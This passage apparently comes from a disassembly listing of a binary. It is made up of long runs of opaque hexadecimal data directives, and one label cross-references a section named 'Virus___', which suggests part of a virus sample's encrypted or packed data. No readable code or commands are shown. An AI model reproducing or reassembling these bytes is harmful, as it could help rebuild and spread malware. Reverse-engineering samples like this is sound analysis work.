79224A0h, 67BBAFADh, 53A14EA3h dd 0F148D8F9h, 5F9C50DFh, 0A50B6531h, 8042CE32h, 263A5160h dd 0CDB4018Bh, 74085CB2h, 0E095D9FCh, 7C009C04h, 68F85332h dd 65364Fh, 44AF7B62h, 6BE91B72h, 9F0D707h, 86C0F453h dd 1F0F783Bh, 0C07EDE2Bh, 1A237318h, 0D7001D85h, 0B93FA2FBh dd 0F16E31h, 3B91745Dh, 7F668428h, 41E1510Bh, 3F8700EFh dd 0A33E0Ch, 9C0FB9Eh, 6D589691h, 0DDCF1500h, 4502B6FCh dd 0A4080F79h, 0A9C0855Eh, 60E28EB8h, 3B123C00h, 9A206197h dd 989F6F7h, 0DCB77790h, 84661460h, 0AADD5D00h, 0DB9B9C14h dd 0C8150275h, 0CBE779E6h, 69FC4460h, 0C203467Ah, 8B9F0F90h dd 555988D5h, 0E6600708h, 0F12C4020h, 22B14B3Ah, 76007F64h dd 0FF98449Bh, 3EC81169h, 0BE0421C7h, 808CA477h, 0D0C1246Ch dd 0A08A095h, 1620A0E8h, 0C5A2D8E1h, 0FB2CC0DCh, 24964773h dd 0BC65C700h, 4AF1CCC1h, 9478D0C2h, 0A4A32175h, 4122E6A8h dd 43008879h, 99F9C8C1h, 243C4FA3h, 74065E5h, 70DC53D0h dd 707124A9h, 0AD899800h, 8D0DC52Fh, 746D013Bh, 78EE9B11h dd 0F8488487h, 6C80CC14h, 263B2489h, 92D4B69Ch, 0B34440A0h dd 0EB426ADBh, 0D1717200h, 51383239h, 7F2A00AFh, 3C5ABBA8h dd 950376DBh, 1DBE23BCh, 5C4BF858h, 90EC18A6h, 3B4FC049h dd 6D85250Fh, 9443E00Fh, 65C64Dh, 0FF70F056h, 0AA444922h dd 71ED8D00h, 0AFB2307Bh, 61390E95h, 0C54F153Ch, 0A26817A1h dd 6E34F8BEh, 5D7EF200h, 61525336h, 0B8420843h, 5809D344h dd 0F05863h, 0E84FEB88h, 0B21978CEh, 0D23FFF00h, 6E0CB57Dh dd 91640073h, 5CDDC7F6h, 0B63D8F25h, 41007624h, 0F9E41A71h dd 7AF68C9Ch, 97A1009Bh, 0EABA851Bh, 782AF26Ch, 0C025E040h dd 0EC81168h, 0C06CAEh, 0A0F7B9Dh, 0C848BEB7h, 0F08B0127h dd 1FB0E401h, 0DC99E0h, 0F35064CBh, 7303FEABh, 0FBEA1800h dd 4E93466Dh, 7BDEFEC5h, 978E07B4h, 802034h, 314C60Ah dd 0AD0F9E00h, 9948CBD2h, 0C7070046h, 2E3D82F2h, 6D48808Ah dd 0A5AF0F22h, 0F3A100E4h, 70EFFh, 0E250AB4Dh, 6A98F2C3h dd 0EA410A01h, 8C1259E6h, 90CA2620h, 0E85894h, 8F8E23EBh dd 0F9A0BA20h, 1F4086B5h, 0D7758D00h, 78DEBBC6h, 0FD5801AFh dd 349C6A04h, 64B1301Ah, 2C436500h, 0FE892B29h, 1EF916FFh dd 417A0097h, 16E1C624h, 791ABE00h, 8EFFED69h, 183C5853h dd 0F1A86200h dd 6F7B7875h, 22880D00h, 7A70D3C6h, 978A0345h, 830B9E2Ch dd 669C8BF8h, 3C5AC3Dh, 4F333C0Eh, 0E484F812h, 54FA07C3h dd 805A078Ch, 583809F5h, 67693Eh, 0E9A03B72h, 3D044578h dd 479D051Dh, 0CFAC80ABh, 76F5DBF4h, 0B1F02DE2h, 0BC1DC624h dd 8F74873Dh, 187021BAh, 0EEEA71h, 2AB44AE6h, 5E7FD8B1h dd 0BD943D00h, 0EA1BE55h, 9D68B6A0h, 0E462C051h, 0BC2A4E1Eh dd 76F00200h, 74706642h, 0EDEA24C6h, 0F71338h, 35CCAC7Ch dd 9C9EFCBCh, 85D825h, 94E1B5BAh, 6577F8FAh, 7400D87Eh dd 6D641369h, 38B20137h, 8600F94Bh, 0CA2063B1h, 6B0222DDh dd 7B791930h, 4CDC48B0h, 6298885Bh, 0B4100B03h, 0F05AC444h dd 0ECC9C18h, 1C1B3E77h, 4C2B9120h, 0A200CF25h, 7840E859h dd 18CAAh, 6DD5FCBBh, 0E1E76486h, 0EE9C1B00h, 0B742B2CBh dd 0FE550F60h, 2B407D2Ah, 0D4888695h, 9A997000h, 0AD37DA25h dd 1FD8901Fh, 40CEE231h, 7FFF4496h, 1415B5A1h, 17BC0A49h dd 0BC80B89Fh, 0F234DCFAh, 0FFAA002Bh, 9C756678h, 1009A43h dd 82997968h, 1254D2DEh, 2951B4Eh, 0A8264AF3h, 0F07FD4C9h dd 0FE54BA34h, 0A62082BCh, 5F991872h, 0D305076h, 6BF6FD00h dd 0EE18369Ah, 0F1E900F5h, 5E8189B3h, 30B82304h, 35AC34E9h dd 0CD5BC503h, 0A08709DCh, 9D6D7Ch, 6555130Eh, 3168225Ch dd 0F684548h, 1CAA2850h, 0B04CD180h, 4029ABh, 6C45065Eh dd 91D0B66Ah, 4EC1E58h, 2D4179F1h, 2F260080h, 4C56580Ch dd 25B18C0Bh, 307930C1h, 0BB3F9268h, 89D68317h, 2C1A0Bh dd 18A9AC19h, 1BE4616Dh, 36146902h, 0C01A9DCFh, 0E340A2h dd 0D09B0D5Ah, 0ACDB5B94h, 34D31600h, 0EF7EB44Eh, 1C80E4B7h dd 8ADC9Ah, 4053870Ch, 7B000320h, 91E7841Ch, 0FDB888Ch dd 0B31F5C54h, 0DC60A46Fh, 41E57008h, 0CD0F90Fh, 0E49426h dd 5A2F943Bh, 7B8D701h, 860FCA10h, 514AB0EBh, 0FE005F78h dd 0B55D33DDh, 3AEC29Eh, 71F76A40h, 2B831F5h, 0EE007E84h dd 50A25CCAh, 8067E2D6h, 8E3C8A66h, 0C4B003C7h, 0F032A933h dd 4EB337h, 3A57803Fh, 796ECC3Bh, 5CC77F0Bh, 0DC7C00BEh dd 0FC65ED84h, 0A4181CA5h, 0EB7A81D9h, 0F85D52CCh, 4413415Ah dd 84001119h, 7BC3EE45h, 0EF430332h, 0B047BD46h, 5233D7D0h dd 873A4F01h, 18F1CE92h, 5780A247h, 1082504h, 8ABCADA9h dd 30D12D8Fh, 0E201A3F0h, 1BE6C199h, 30F02E92h, 3EB20409h dd 83F65BC4h, 9DB8A3CEh, 5D481981h, 58AA006Fh, 2F84E59h dd 0A0E25CB7h, 53A92900h, 95F1C4E1h, 0CE03A8BCh, 80874736h dd 0C0E402h, 166F42EBh, 0DD9A0FA4h, 81D67D39h, 0BA308A9h dd 0C1F0C032h, 0B46600FFh, 7AEA4378h, 1701EE2Bh, 4D4567E5h dd 0EBED32B7h, 0B09C92D4h, 98400D8h, 8211E07Fh, 5B12A2A1h dd 50004CC0h, 0D2E27540h, 78290074h, 11814969h, 0E5F257DFh dd 40797F25h, 0F8396F90h, 0D6E0A05Eh, 0DC8D000Ah, 91256255h dd 8205BD99h, 56D5BC42h, 3759EC80h, 0C05FE463h, 3875B730h dd 612D8267h, 0A7B8A4C8h, 87367E80h, 0CF9E3EE3h, 8557128Fh dd 907C09Dh, 0AD331958h, 87E53D00h, 0B413BD06h, 628603DDh dd 0A4ACB741h, 245CBE88h, 552F3100h, 98571EA3h, 0E523A4Fh dd 0D81C83Dh, 89DACD25h, 9EC440F7h, 0F53FCFE6h, 809D0064h dd 3A23D92Eh, 0F2120078h, 0BE444313h, 2700859Fh, 60D2B37Fh dd 98F6CBh, 66219239h, 2E475EF4h, 0D438C02h, 0B52A1Ch dd 0F5E73FAEh, 63908097h, 0F86024F9h, 86D00AB9h, 3DF899F4h dd 157FD100h, 0DE1BA5E3h, 4E3C3D61h, 0E4608A03h, 0CC8900E4h dd 19EF846Ah, 98012952h, 4620FF73h, 0DE60B031h, 0C45800EEh dd 3DB208CFh, 7A1C47CEh, 4CB39AAFh, 0A3D6B883h, 21660F1Ah dd 8052553Bh, 6DFE5B44h, 236B0A00h, 6AEAA9A8h, 37D31DCFh dd 8088939Bh, 6BAF004h, 0C854900h, 4777EDA8h, 6C98D6h dd 29427A5Ah, 7336A7B1h, 58CAE431h, 0B06C8C02h, 59F43193h dd 87DC2014h, 958C2501h, 0CE3024EAh, 0EC7A087Ch, 0A4F01A9h dd 41C9C3D0h, 4AD970E9h, 5CFA7F00h, 84460174h, 758F00E2h dd 0B6F6643h, 0A04B498Ah, 56CD1822h, 603800FCh, 3B1A5B7Ch dd 0E700EF79h, 4D1DA0D5h, 0E5A925h, 3C91ED74h, 116B8729h dd 42DC100h, 7D942B0Eh, 56B50084h, 0CC0D33F4h, 0A52F78BDh dd 0BAD0238Ah, 6092E2A3h, 1B68B34h, 7518AFC7h, 474C6A3Ah dd 7309D0A0h, 0CD247881h, 0E40058BAh, 334F0213h, 46B30118h dd 0AB0D8D45h, 1B90FC88h, 0E20A0B00h, 6F2BE31Dh, 5897C17h dd 0AFF07DEEh, 0F48C002Ah, 80648131h, 9C11B31Eh, 70395DC0h dd 0F5AA2E16h, 0DEF37880h, 79E722FFh, 4D4E9400h, 0E9EFE548h dd 0A38A00C6h, 3E6B3310h, 0DA4A08C3h, 0E821CC83h, 555936h dd 8B983B86h, 0C457D9F3h, 1000F71h, 0FA74F291h, 1D604870h dd 1C7EC7Fh, 87AC3311h, 1F6630BBh, 0B3FC9700h, 0D3889E7Dh dd 0C01E90C3h, 0B5E88B56h, 0B1009875h, 9ECC9D61h, 0E2671C97h dd 809B1832h, 35FF309Ch, 0D62D3000h, 0EF8A4740h, 22FA0708h dd 0F0B74F56h, 9AA6129Bh, 0C62980C0h, 9F34A5h, 0EB606E07h dd 707E0B26h, 47E63200h, 0B59C33B8h, 5803AB0h, 0FAB2520Bh dd 4CA0B489h, 72793454h, 6CBAAC07h, 7EC316BBh, 0F5684C1Ch dd 7099FC00h, 661218B9h, 0FA73F02h, 0E06FC436h, 768BF71h dd 14B7F74Ch, 0BCE270F8h, 0F30673Ch, 497B32CCh, 0BDA40180h dd 50BEA16Dh, 80072F87h, 0A5C8907Dh, 0AD383860h, 0DB3590Fh dd 0EE0756FCh, 9FA0A2C9h, 54BAB29Bh, 279BC95h, 30E0FDC6h dd 0DB80174Dh, 0A2149BA4h, 0A4C0E54Fh, 17C7ED70h, 9F6B8Dh dd 962E5A5Ch, 86004FA7h, 7C434253h, 24157556h, 0A5B281h dd 5B0ED378h, 3D185E82h, 9E591A4Ch, 0F54FB7h, 3B284894h dd 8B183EECh, 5920EDD9h, 45715870h, 0AB9BCA09h, 4B75E900h dd 8000990Eh, 0E9C9B34Dh, 95A69Ah, 1AA24C89h, 4176F7B6h dd 0B1253A1Fh, 870386CEh, 0F3100AFFh, 0A135E6h, 0FA1ACB09h dd 8C3DEB98h, 87DDDA00h, 6A775EABh, 639500F0h, 97296466h dd 0CC3FBABDh, 6BE88E36h, 80F3A9DAh, 0AD93EFF0h, 3B5E2C41h dd 0B1DB054Fh, 0D744A00Dh, 0B34258h, 0D57E4308h, 4B100554h dd 0B1CCC02Dh, 0A40042C8h, 656678E1h, 0F25B3243h, 41056067h dd 3E908F28h, 0F79CE700h, 0F9A23ABEh, 2CCD5273h, 0F582E500h dd 52FB47A9h, 8148EF0Fh, 5EC906h, 0E2DBB6A2h, 1666020Eh dd 18033AC0h, 98005878h, 0CAEA8DDh, 784457Fh, 0F4E916A0h dd 4BB11049h, 8707F7CEh, 0ABC77EF0h, 0FB4239E1h, 3F575FCCh dd 0E900B6A9h, 0FEC87F74h, 8973C491h, 0A0C04E4Bh, 7057EC3h dd 1513568h, 0C2E3E099h, 8D0053FBh, 0FA9D2506h, 718C419Fh dd 75FD006Eh, 0D7E6A342h, 1009F711h, 80DC9096h, 0B08C1AABh dd 0F278B06Dh, 0F8CB4C3Ch, 1E5B5000h, 0E3A017BCh, 0D6007779h dd 7AA0170h, 475DA38h, 8B96043Dh, 0E528E05Ch, 870E547Ah dd 0C36C1C9Eh, 0B012E969h, 17949501h, 64A3CEh, 0B28D231Ch dd 1300FE71h, 3C419083h, 9ECDA47Ah, 3F510000h, 0DA185D58h dd 0E8B14E27h, 8CD2B0h, 30CFACF3h, 420A95Bh, 13490D3Dh dd 520008EEh, 0C93DD5D7h, 5B6D2626h, 0DB380000h, 6F9FA9E3h dd 370C9003h, 8AA63D9Ch, 0BB004016h, 0DAAF0014h, 91385781h dd 63D8F4Ah, 0D1CA816Bh, 5D7EDFF7h, 354970h, 0C02E421Eh dd 74F176EAh, 822CB177h dd 4A00B804h, 56D022DCh, 8870EF62h, 0E0A2DE6h, 92168C80h dd 0B707D880h, 4F2C846Bh, 67875A10h, 23D024BFh, 40301EB7h dd 0F0986A06h, 686094F1h, 0A13AA55Ah, 64CB1FECh, 2D82404Bh dd 336CBD7Ah, 23904C00h, 3931EB1h, 1FB30077h, 2CE163BFh dd 0C924DDF6h, 17003DADh, 8FD87D7Eh, 8C502C83h, 0B6AB07B0h dd 0C157C52Bh, 5018C871h, 395BDBF4h, 1E8524Ch, 41F8F971h dd 1080514Fh, 47F5C0CFh, 0F4C84C4h, 364D025Dh, 0DCFB4386h dd 158E00F4h, 72887463h, 8C91800h, 47F953BDh, 7B6B00F6h dd 0B9937A4Ah, 310ED3B6h, 20DC56A8h, 5C6D571Fh, 0D2E40304h dd 73F367DDh, 0C43B2F91h, 0DA04CE7Ch, 3C5F6B69h, 0C6012CB8h dd 0B6B4EC6Ah, 606CDEh, 0FC81A549h, 0A1F580h, 43891405h dd 40C62446h, 86D5D603h, 9023AC8Fh, 512C44h, 89F2C2ADh dd 5E15BB90h, 4D005070h, 0FAB3F965h, 0B8F19D78h, 3E840050h dd 0DFFFE92Dh, 8A3BBFA5h, 3CED873Fh, 191010E7h, 1E4EA97h dd 0EFA630B0h, 0E86DC0DCh, 9403F2C3h, 71349809h, 0C137F80Ah dd 79A97680h, 0FE40773Dh, 1B37AADh, 0DF9DAC4Ah, 70C448FDh dd 0C54CC8B0h, 80A02164h, 64B294C3h, 3E0F27D2h, 68A93495h dd 90570015h, 331D660Bh, 87FCD43Ah, 30C76273h, 0FB842DE0h dd 0FB90BE1h, 34D8D131h, 53061C0Fh, 91CD804Dh, 9A701Eh dd 8628A6CAh, 6EC5F27Ch, 4A746490h, 534E6A16h, 0E026DC80h dd 6BFE0081h, 8425E21Fh, 8A121474h, 70E0E61Bh, 6D391C31h dd 2D00BE45h, 43052E52h, 7800299Fh, 894C1D5Eh, 0D24E72h dd 888DA2F3h, 4BACDC1Ah, 58271E00h, 51FCEBF2h, 16F5F6DAh dd 0B441BFB4h, 810934BCh, 0D0501780h, 4A2A3DA8h, 0E9F3DE8Eh dd 0FCA04C49h, 0D00FC2AFh, 0EB0D400h, 10DA9E9Ah, 0FF50C097h dd 26921C96h, 0AAD03C64h, 0EADFD080h, 772B0066h, 0C753C43Dh dd 0E90118CEh, 0A6E6960Bh, 9C433A9Fh, 6FFED090h, 39137C0Ch dd 0E20E27C1h, 52BF17h, 0AE2BD148h, 5100488Eh, 80E051Bh dd 27743769h, 3461128Bh, 9920021h, 0C39B178Ch, 2C44C0ACh dd 0E9160128h, 96ECC0CDh, 0BBD01960h, 0DB39C3C5h, 6C7A0398h dd 0A0EA214Ch, 13C03C4Ah, 0A0E18A41h, 0F10078D0h, 0E53580BEh dd 3125C8Fh, 0FCA79D3Eh, 78005FC6h, 0A27F0685h, 0BD8DCA48h dd 0C77BB880h, 0D82864E2h, 0E804AF15h, 0F5244BEEh, 80290BDh dd 0F0DB784Ah, 0E1D2B4B8h, 6D01F898h, 0D348E53h, 0ACD4F042h dd 0DCD90073h, 433FB4E5h, 48C05168h, 0A13116E0h, 0A5142639h dd 21F70B8Ah, 0FE5E7800h, 1A000B6Ch, 607B649Eh, 19133273h dd 713DE4F7h, 2A1C6099h, 8CAB2D00h, 7C0BB0BCh, 96E63155h dd 60936A20h, 150CD26h, 7F00D6A8h, 0E64F8EBh, 68252Dh dd 0EE82E9F1h, 1F86E616h, 0FB49021Bh, 0F5DFA898h, 0CE2E1C9Eh dd 13837A95h, 484D626Ch, 79E890E5h, 56158B80h, 7EB8D673h dd 18565D5Fh, 1E3A0C83h, 52543D80h, 0F62400A7h, 90FBD3E4h dd 0D5553Bh, 1B109BC4h, 0E0D67071h, 5A3C005Bh, 50B30F73h dd 2E28FD25h, 0D75EBCDEh, 18E4C8h, 54ED0E7Fh, 9789D032h dd 526360Bh, 0F0082B2Eh, 0DE420158h, 1C9C1680h, 0D4E02161h dd 0C2004944h, 0CF2F2467h, 0E6A8A09h, 32CD3164h, 2A6370A0h dd 162C7901h, 9A00D059h, 0DF90347Ah, 0F610C058h, 7D648B99h dd 12901458h, 4CE0E580h, 9A4E715Bh, 0C5F9020Ch, 84F21683h dd 0B9C35C48h, 5B334200h, 8FACC1B2h, 4A273FEh, 541CF335h dd 0D58CE0C4h, 87A72250h, 0BCFBE017h, 0DABFD401h, 20DE73EBh dd 0EC774A8Dh, 614EE000h, 0B5195B85h, 58C37A8Bh, 4400A008h dd 1FBD25DCh, 8A00D178h, 7F943952h, 2620C7D2h, 86B9AEh dd 245EF858h, 342C5AE3h, 0B4176C99h, 0DF72CC01h, 84E7A454h dd 0DC9C11C1h, 16FB4C60h, 30566D6h, 8412E71Ch, 0E86B51F1h dd 0C200C5E8h, 0C7F05442h, 0A6B8BBh, 0D3F42005h, 0D4669199h dd 6080B44Ah, 44ABDFh, 0B0BD4743h, 0B60C8C46h, 544060DDh dd 31F50DF4h, 0C0090ACh, 5B53DA7h, 233D8921h, 0E42900F3h dd 934E92FDh, 70CE28B4h, 44EA0394h, 2D22196Eh, 0D4B829A3h dd 3601F353h, 2CCDE73Fh, 59202F87h, 80DF5CAFh, 0E67D5C02h dd 0D91226h, 780DFDDEh, 0D1409FD8h, 2B9F60FEh, 280F00C7h db 90h db 0B3h, 76h byte_50561F db 0FFh ; DATA XREF: Virus___:005509C0o dd 44015233h, 0CFD6B2ACh, 12A7F37h, 2FFC1F74h, 817CF8A7h dd 0CB7E690Eh, 423E21C3h, 28345F8Ah, 0D3704F4h, 80FE5545h dd 2693D944h, 0AC4A4024h, 14CDC002h, 42105624h, 0ECC0FEFDh dd 0EC73A9FBh, 0B07C500h, 2F4E4B3Eh, 452B01F2h, 0C9979FEFh dd 475440C6h, 7A00B8F0h, 0BE559C33h, 0E85E6Dh, 421DF477h dd 0CE0AA54Bh, 667B7800h, 0EFC86702h, 5F4C0028h, 0CCC376E1h dd 0BA1E9BE0h, 3700FE1Fh, 91ED420Eh, 348B1C20h, 0F1285757h dd 7E2C25C4h, 63D3C41Ch, 2EAEB8C0h, 5458050Bh, 0E06C465Fh dd 29E26584h, 6436037h, 0B84A1690h, 89390027h, 0DD467849h dd 0B0005982h, 86BCF87Fh, 8F5247h, 69180EADh, 9C7273B7h dd 15A8C407h, 0AA10DFA0h, 0B25B8E17h, 0EA9300B0h, 0D9313B24h dd 7E24D1DDh, 18033A49h, 0F7476766h, 0AC08187Bh, 28AB0233h dd 0C9A87E6Dh, 604D0469h, 2B0BC626h, 10E9E20Dh, 1CF395Ch dd 410CCB2Fh, 0FCAB0F05h, 0F11C6447h, 589E01D9h, 6B6E63C0h dd 0F49A44CDh, 44D5588Ch, 0D0CA3184h, 0F78E20D8h, 1BFCC400h dd 85D52B44h, 680F0CE2h, 3CC03825h, 8E073079h, 0D630C29h dd 847D7240h, 0F1690201h, 5EE4433Eh, 0DD8A2848h, 2D3A2B00h dd 46353F5Bh, 1EE6FC48h, 1FAE73FEh, 6AD2ACh, 27290B68h dd 0BE00E3C4h, 0C3770C7h, 17B320D2h, 0D0D9ADC9h, 0C3A8595Ch dd 7E444EFh, 2CA04C0h, 58412998h, 4DE0302Fh, 23F73E0Ah dd 872DA453h, 209B1D7Bh, 0CFC0E720h, 120B0027h, 6BC9CBC8h dd 0F438E99Fh, 0ACD0D803h, 17F4B27Ah, 0B1647861h, 1E3450F8h dd 0D92CD337h, 3551D86Fh, 0F0C06C12h, 9401556Fh, 66B92670h dd 0AC40C6E9h, 18D8323Eh, 51E2873Ah, 15127558h, 704DAB96h dd 0A83058AFh, 8A249CDh, 0A0F62602h, 0BCC9F32Ch, 1C10E270h dd 24A4B2A1h, 18C0703h, 30BA3462h, 8198288h, 0EC70EDA0h dd 0C7DB0680h, 0F99A81B8h, 5F81E48h, 5F505407h, 0FFB110FCh dd 61D887B5h, 24A08A4Fh, 16AD29B8h, 0CFF502DFh, 0CEA600F0h dd 0F496B82h, 36880059h, 98C5646Dh, 5C000111h, 0B7DEEE3Bh dd 204A249h, 2FD74CB2h, 0A4C09040h, 884ABE9Fh, 308A0E0h dd 1862805h, 0E9F857FBh, 9C9898B0h, 0BDEF3500h, 8411DF0Ch dd 0C31F7BA7h, 255D8F41h, 0E4B24A98h, 0B4F03700h, 1176BFB6h dd 0CD14068Dh, 60E546FDh, 442DB306h, 71E381h, 870E7267h dd 80059648h, 0CE3DF37Eh, 51FD1C2Ch, 21309580h, 0A929D83Bh dd 306EDCFCh, 3779EEC4h, 0B9C60805h, 0B44B9984h, 0CB2A801Dh dd 1F9C0525h, 0C163F7CEh, 42AE2872h, 0AC4A6E55h, 9242A8F6h dd 0B15CC04Ah, 2A8A1D08h, 0ABB600FFh, 5C0FF32Bh, 0A6CA5800h dd 654EA586h, 55050080h, 0ED98265Bh, 21030C89h, 0F490222Ch dd 9323F0C3h, 0C897016Bh, 55584EA4h, 2CB2DCE7h, 0A66BC00h dd 9FDE6483h, 0ECB04Bh, 9198C8C7h, 5DF56522h, 0ACF25500h dd 0F030E22Fh, 14830029h, 0B4E3978Eh, 88F2FD74h, 71057698h dd 0B0F73510h, 0C504A080h, 0E86201Dh, 0CF341B00h, 587761F9h dd 0AF2A00B1h, 0E9F48B26h, 0BF0017F1h, 0FDD47D1Eh, 61FE14h dd 96CAE04Eh, 0CE919511h, 5E24A200h, 0C2FC6A0Eh, 823610AFh dd 2A060875h, 45F802Eh, 95EE6DB4h, 85009875h, 7F9F1328h dd 5B12CF15h, 0E910974Bh, 0C91D04DCh, 137B4E80h, 2A423F65h dd 48EC6A5Ah, 0D03805Eh, 2B4FF472h, 0D4590EC8h, 0EB9E2305h dd 0D000FCC2h, 9A1CDDB0h, 376E1EE3h, 0F8D500FEh, 0F19E4B29h dd 0ED00097Ch, 0A6443F0Fh, 712AC653h, 16E2F01Bh, 6355Bh dd 0B096B9A0h, 6D00FFC5h, 0B5ADC04Ah, 77E56EE1h, 3D3E00AAh dd 85F90B82h, 0A81D9F9Ah, 0E0805219h, 95E54A80h, 0FABC245Fh dd 0FB3C0034h, 84C84C22h, 0C7CC9000h, 0A2D1ACA1h, 9A390B1Fh dd 8C727760h, 73170109h, 2148A0DAh, 0BC751CBBh, 0D24580FCh dd 2E7457DDh, 0F3FBA1Ch, 8861003Ah, 0C9BD4BC4h, 2EB66533h dd 0D48E8120h, 54A020ABh, 0F6808101h, 66926B91h, 9B09A063h dd 7400B026h, 58A2F631h, 809C2148h, 2A92877Eh, 8FBF0396h dd 15ADC8F5h, 0A8E8EFD8h, 0C3033B0h, 898CA8ECh, 0DC8D1938h dd 704210EBh, 0AB0795E3h, 0BDA096EAh, 2208883Ah, 5C4100A7h dd 0ADDB4B8h, 0C2D4B300h, 6CADA62Fh, 0C4BB28D6h, 23C60094h dd 185A40C1h, 4D769F3Fh, 141959h, 65BD594Eh, 0E248E76h dd 9EB6E2B4h, 0B1FDCCC0h, 0F1005E5Dh, 49EBD5F0h, 16F7DA75h dd 37DD0D66h, 0FE40C810h, 3D101C6Fh, 0B4058A1Dh, 0D8436E8Eh dd 0F62CCB0Ch, 0D42444FCh, 2AD51D51h, 0AE38FC68h, 0A7638780h dd 0B2C6B1B9h, 51FB4E00h, 7D05F116h, 288C6012h, 8B9F8696h dd 21EE504h, 0E0B4ED49h, 914D1F95h, 6E5EB00Ah, 0A02C2660h dd 75823CF1h, 41437C63h, 10247E74h, 95F428E0h, 0B2F600D0h dd 7F7BD492h, 0C560A89Eh, 0C1252820h, 66C4A2CBh, 31D14EC4h dd 14AEF4ECh, 0F7064CEh, 0E8876899h, 0CF5BFEE0h, 3002034h dd 0C38CAA9Eh, 277D9313h, 7C397439h, 88543991h, 0EB0D87ECh dd 7C50A911h, 78ABC533h, 48FEC254h, 0FBB823Ch, 95962686h dd 19EC4F26h, 2CF06C4Ah, 4011C2BCh, 10EA245Dh, 807EA485h dd 0F473E998h, 0F53E1505h, 30C90168h, 7480C72Ah, 9040E0D0h dd 48AF7C00h, 78A71370h, 0FA8D02A8h, 89A477BDh, 591CEC7Ch dd 9C83A580h, 0C340DC21h, 0C0FCC519h, 7D9515A0h, 10ADDF04h dd 38E0FB94h, 677E0812h, 87AC5960h, 6DB7F830h, 0FA953F2Dh dd 5E7E2860h, 5C906158h, 0B5B2E03h, 9706BB34h, 5AE7A45Fh dd 0FE51D8B9h, 1ECA85D8h, 57509104h, 0A09C499Ah, 0CCA01044h dd 0F500B288h, 2278834Ah, 0F97745Dh, 6BBF2BB1h, 50C800D6h dd 1DB22063h, 0ED00967Dh, 33F0A36Dh, 3F1EE4h, 0F4474E29h dd 744BC164h, 8350099Dh, 0A052C7E3h, 5DA3D2h, 0B90F6E02h dd 76A30A5h, 90886F03h, 0A8628987h, 0AFD959h, 0BC09D415h dd 9F85C1F6h, 7D09207Bh, 724BB160h, 0A5B7FD8h, 6EBADD13h dd 506042DCh, 0E7FC0755h, 759C14B0h, 9087FFC6h, 607E734Ah dd 0AE06B4CFh, 613D0B00h, 8A56580Eh, 0B4B650F3h, 0B52EE08h dd 1B9CCED4h, 0A1C9B000h, 0FC026125h, 342D026Ch, 57BA8038h dd 3F7720BDh, 429789D2h, 663080A7h, 0D301341Dh, 83BAC1FDh dd 0FC40A198h, 0B5CCC518h, 4A946098h, 80E69712h, 0D01C85Ch dd 0AA4589A9h, 54852C4h, 167029Fh, 1700EC09h, 2C491F8Ch dd 0C3DC0024h, 0A2DDA9h, 0B3A389F6h, 27407BEFh, 0CF8F520Eh dd 0C390A007h, 8C54AFh, 68CBF77Ch, 450F042Dh, 300F8477h dd 67CF4366h, 0F3B5F651h, 992BB4C0h, 168C9850h, 0D92F45h dd 0C8EC8068h, 0E000F43Ah, 3F4F22FFh, 733E20h, 34ACA3Ch dd 0C41C09F0h, 0E63BFFF2h, 0AE6C0C0Fh, 0A8B122h, 5E04B43Eh dd 7E84746Dh, 565097F7h, 0E0F9900Bh, 49272E9Ch, 9400D014h dd 352DB4A9h, 650BEF61h, 686BA4h, 97990ED0h, 73A80E70h dd 8B3EDB13h, 0B3851607h, 39E09076h, 0C4002B3Ch, 340392F0h dd 653BF7Ch, 91B3B624h, 11072825h, 0DAB1A938h, 3882AC1h dd 0AB5960h, 2B4BC202h, 0D1A06156h, 0D71FD0FCh, 0DFC76920h dd 12D07B78h, 0F4637h, 0B529726Ah, 0B3C25F26h, 0F09F7E26h dd 0D05A1F80h, 0A91EAF2h, 0CF7568E6h, 0AC7284F4h, 49CCD0C5h dd 0D605BB47h, 803BB30Bh, 1F30E0A8h, 7584C67Ah, 4A4339h dd 0E25E237Eh, 1F69224h, 0B13413CDh, 0D483633Eh, 2500D7D6h dd 3C7BF40h, 566BC0h dd 6F1D12F9h, 0D2A0B18Eh, 80BF0A73h, 51CBA34h, 381E0945h dd 8C02D1D3h, 0AF552C83h, 8950A000h, 92FDC9h, 0C56607B9h dd 0E2EA03DBh, 0A6EF6901h, 1BE4A142h, 3E7999D0h, 9489D63Dh dd 0EC824CC9h, 85C21803h, 5DD80155h, 0C443C86Fh, 0BA3BD0B0h dd 5E7B0977h, 7C5E6283h, 0EBEFF702h, 44807445h, 8EA89053h dd 69C2640Dh, 54F111F0h, 26FC0014h, 0EDC12D33h, 4FFE7100h dd 8862A3Ah, 0AC0197E6h, 0E874707Ah, 0B09F4A4Eh, 122AB64h dd 34A5DBD5h, 0E8DC8147h, 741DF83Eh, 0CB42843Dh, 60E0CE33h dd 0B0717834h, 0A0FE64h, 31DC7F7Ch, 0BB5F54E2h, 0F5044402h dd 80E35CC0h, 8208E1F8h, 21D30BD5h, 4C8C3460h, 18B0E4A6h dd 9BF05400h, 6525DE5Fh, 691C0B3Ah, 0B080D8FBh, 48479A7Fh dd 0BC126D12h, 9100ACE8h, 52B3F141h, 0A90017D7h, 0BF9A5918h dd 0EC0A56h, 0D906123Dh, 0E58E0E29h, 0A20010B0h, 68E9D3EAh dd 84A193h, 3E27D5B2h, 7F60E7Ch, 0C2404700h, 32B81A3h dd 64D600AFh, 3D9CDACFh, 6A001D96h, 0F24B63C8h, 18014F80h dd 0A0C72640h, 0EB4E3BAAh, 0FF060C40h, 0FA4611h, 0FB538E63h dd 586C3373h, 0BCAB7424h, 0E8FEB40h, 4BA60087h, 0C348DD95h dd 80004EDCh, 5CCDCEE2h, 1E5A3B19h, 0E71E680Dh, 14007470h dd 0DB70E29Fh, 0B0BA6E4h, 0C53512A4h, 0A200AA8Bh, 2AC87939h dd 4DA03700h, 1999843Ah, 724B0061h, 2D18A8E0h, 0C5EC56ADh dd 12C8D005h, 9880735Fh, 0B07648DFh, 0D0064DE4h, 498B7C50h dd 6400C4E4h, 0A42FAB30h, 4B5040E1h, 25000680h, 838A4360h dd 95474446h, 5E118A60h, 0F7B70E04h, 9AFD766h, 58566CE4h dd 8F3FA180h, 0C5E57Bh, 90184549h, 5C501016h, 3B4AB200h dd 0F69B3CA1h, 6665056Dh, 0B0A834CBh, 0B73ED844h, 0C8A04E11h dd 0FE1CB0A5h, 8EF7E0D1h, 0F970EF00h, 0DE2560C3h, 0A3B8387Bh dd 8EF217h, 611E93FDh, 69E2D25Dh, 0B1418200h, 0F99A3F49h dd 0E207024Fh, 732AC3C1h, 0AB5160F0h, 9CBB3010h, 0E0000CE8h dd 0B54D382Dh, 0E6E2ECh, 128F58A6h, 6834C93h, 0CE2C6B00h dd 88671ED9h, 84809DD1h, 